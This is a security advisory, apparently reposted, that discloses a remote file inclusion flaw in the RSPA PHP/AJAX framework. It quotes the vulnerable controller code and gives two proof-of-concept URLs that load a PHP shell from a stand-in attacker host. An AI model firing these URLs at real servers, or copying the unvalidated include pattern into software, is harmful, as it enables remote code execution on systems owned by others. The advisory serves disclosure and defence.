[UNIX] Really Simple PHP and AJAX File Inclusion

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Really Simple PHP and AJAX File Inclusion
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SUMMARY

<http://rspa.sourceforge.net/> RSPA is "a component based event driven
ajax enabled framework for PHP4 and PHP 5. It is a combination of plane
PHP class and HTML/Javascript.RSPA allows calling server side PHP
functions from client javascript events". A file inclusion vulnerability
has been found in RSPA, the vulnerability allows insertion of arbitrary
PHP scripts that are then executed.

DETAILS

Input passed to the" __IncludeFilePHPClass ", " __ClassPath" and "
__class" parameters in "rspa/framework/Controller_v5
php" and " rspa/framework/Controller_v4.php " is not properly verified
before being used to include files.

This can be exploited to execute arbitrary PHP code by including files
from local or external resources.

Vulnerable Code:
require_once("rspaconf.inc.php");

$className = $_REQUEST['__class'];
$methordName = $_REQUEST['__methord'];

// IncludeFile for PHP Class
if ($_REQUEST['__IncludeFilePHPClass']){

$filename = $_REQUEST['__IncludeFilePHPClass'];
require_once ($filename);
}

// Parms
if (isset($_REQUEST['__parameters'])){$parameter =
getParms($_REQUEST['__parameters']);}else{$parameter="";}


// ClassFile + ClassPath
include ("../components/Form.class.php");
if ($_REQUEST["__ClassPath"]=="null" ||
empty($_REQUEST["__ClassPath"])){
$filename =
$RSPA['class_folder'].$className.$RSPA['class_extension'];

}else{
$filename =
$_REQUEST["__ClassPath"].$className.$RSPA['class_extension'];
}
require_once($filename);

POC exploit:
The following URL will cause remote file inclusion
http://[HOST]/rspa/framework/Controller_v5.php?__IncludeFilePHPClass=http://attacker/phpshell.txt/?
http://[HOST]/rspa/framework/Controller_v4.php?__ClassPath=http://attacker/phpshell.txt/?


ADDITIONAL INFORMATION

The information has been provided by <mailto:bugtraq.ir@xxxxxxxxx>
bugtraq ir.
The original article can be found at:
<http://www.bugtraq.ir/articles/advisory/RSPA_File_Inclusion/6>
http://www.bugtraq.ir/articles/advisory/RSPA_File_Inclusion/6



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